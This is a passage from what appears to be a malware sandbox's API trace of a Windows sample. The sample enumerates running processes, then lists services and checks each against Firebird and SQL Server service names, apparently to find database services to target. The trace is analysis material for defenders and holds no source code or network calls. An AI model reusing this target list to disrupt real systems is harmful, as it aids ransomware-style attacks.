dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.896] lstrlenW (lpString="svchost.exe") returned 11 [0211.896] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.896] lstrlenW (lpString="svchost.exe") returned 11 [0211.896] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.897] lstrlenW (lpString="svchost.exe") returned 11 [0211.897] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.898] lstrlenW (lpString="svchost.exe") returned 11 [0211.898] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.898] lstrlenW (lpString="svchost.exe") returned 11 [0211.898] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.898] lstrlenW (lpString="svchost.exe") returned 11 [0211.899] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.899] lstrlenW (lpString="svchost.exe") returned 11 [0211.899] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.899] lstrlenW (lpString="svchost.exe") returned 11 [0211.899] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.900] lstrlenW (lpString="svchost.exe") returned 11 [0211.900] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.900] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.900] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.901] lstrlenW (lpString="svchost.exe") returned 11 [0211.901] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.901] lstrlenW (lpString="audiodg.exe") returned 11 [0211.901] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.902] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0211.902] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0211.902] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0211.902] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0211.902] lstrlenW (lpString="Memory Compression") returned 18 [0211.903] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.903] lstrlenW (lpString="sihost.exe") returned 10 [0211.903] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.903] lstrlenW (lpString="svchost.exe") returned 11 [0211.903] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.904] lstrlenW (lpString="taskhostw.exe") returned 13 [0211.904] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0211.904] lstrlenW (lpString="msoia.exe") returned 9 [0211.904] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.905] lstrlenW (lpString="explorer.exe") returned 12 [0211.905] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.905] lstrlenW (lpString="SearchUI.exe") returned 12 [0211.905] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.906] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0211.906] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.906] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0211.906] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.906] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.907] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0211.907] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0211.907] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0211.907] lstrlenW (lpString="dllhost.exe") returned 11 [0211.907] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0211.908] CloseHandle (hObject=0x564) returned 1 [0211.908] Sleep (dwMilliseconds=0x1f4) [0213.207] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b2d8 [0213.207] EnumServicesStatusExW (in: hSCManager=0x447b2d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0213.222] GetLastError () returned 0xea [0213.222] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0213.223] EnumServicesStatusExW (in: hSCManager=0x447b2d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0213.223] CloseServiceHandle (hSCObject=0x447b2d8) returned 1 [0213.224] lstrlenW (lpString="Appinfo") returned 7 [0213.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0213.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0213.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0213.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0213.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0213.224] lstrlenW (lpString="AppXSvc") returned 7 [0213.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0213.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0213.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0213.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0213.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0213.224] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0213.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.224] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0213.224] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0213.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0213.224] lstrlenW (lpString="Audiosrv") returned 8 [0213.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0213.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0213.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0213.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0213.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0213.224] lstrlenW (lpString="BFE") returned 3 [0213.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0213.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0213.224] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0213.224] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0213.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0213.224] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0213.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0213.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0213.225] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0213.225] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0213.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0213.225] lstrlenW (lpString="CDPSvc") returned 6 [0213.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0213.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0213.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0213.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0213.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0213.225] lstrlenW (lpString="ClickToRunSvc") returned 13 [0213.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0213.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0213.225] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0213.225] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0213.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0213.225] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0213.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0213.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0213.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0213.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0213.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0213.225] lstrlenW (lpString="CryptSvc") returned 8 [0213.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0213.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0213.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0213.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0213.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0213.225] lstrlenW (lpString="DcomLaunch") returned 10 [0213.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0213.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0213.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0213.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0213.226] lstrlenW (lpString="DeviceAssociationService") returned 24 [0213.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0213.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0213.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0213.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0213.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0213.226] lstrlenW (lpString="Dhcp") returned 4 [0213.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0213.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0213.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0213.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0213.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0213.226] lstrlenW (lpString="Dnscache") returned 8 [0213.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0213.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0213.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0213.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0213.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0213.226] lstrlenW (lpString="DPS") returned 3 [0213.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0213.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0213.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0213.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0213.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0213.226] lstrlenW (lpString="DusmSvc") returned 7 [0213.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0213.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0213.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0213.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0213.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0213.227] lstrlenW (lpString="EventLog") returned 8 [0213.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0213.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0213.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0213.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0213.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0213.227] lstrlenW (lpString="EventSystem") returned 11 [0213.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0213.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0213.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0213.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0213.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0213.227] lstrlenW (lpString="FontCache") returned 9 [0213.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0213.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0213.227] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0213.227] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0213.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0213.227] lstrlenW (lpString="gpsvc") returned 5 [0213.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0213.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0213.227] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0213.227] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0213.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0213.227] lstrlenW (lpString="iphlpsvc") returned 8 [0213.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0213.227] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0213.227] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0213.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0213.227] lstrlenW (lpString="KeyIso") returned 6 [0213.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0213.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0213.228] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0213.228] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0213.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0213.228] lstrlenW (lpString="LanmanServer") returned 12 [0213.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0213.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0213.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0213.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0213.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0213.228] lstrlenW (lpString="LanmanWorkstation") returned 17 [0213.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0213.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0213.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0213.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0213.228] lstrlenW (lpString="lfsvc") returned 5 [0213.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0213.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0213.228] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0213.228] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0213.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0213.228] lstrlenW (lpString="lmhosts") returned 7 [0213.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0213.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0213.228] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0213.228] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0213.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0213.228] lstrlenW (lpString="LSM") returned 3 [0213.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0213.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0213.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0213.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0213.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0213.229] lstrlenW (lpString="MpsSvc") returned 6 [0213.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0213.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0213.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0213.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0213.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0213.229] lstrlenW (lpString="NcbService") returned 10 [0213.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0213.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0213.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0213.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0213.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0213.229] lstrlenW (lpString="netprofm") returned 8 [0213.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0213.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0213.229] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0213.229] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0213.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0213.229] lstrlenW (lpString="NgcSvc") returned 6 [0213.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0213.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0213.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0213.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0213.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0213.229] lstrlenW (lpString="NlaSvc") returned 6 [0213.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0213.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0213.229] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0213.229] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0213.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0213.229] lstrlenW (lpString="nsi") returned 3 [0213.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0213.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0213.230] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0213.230] lstrcmpiW 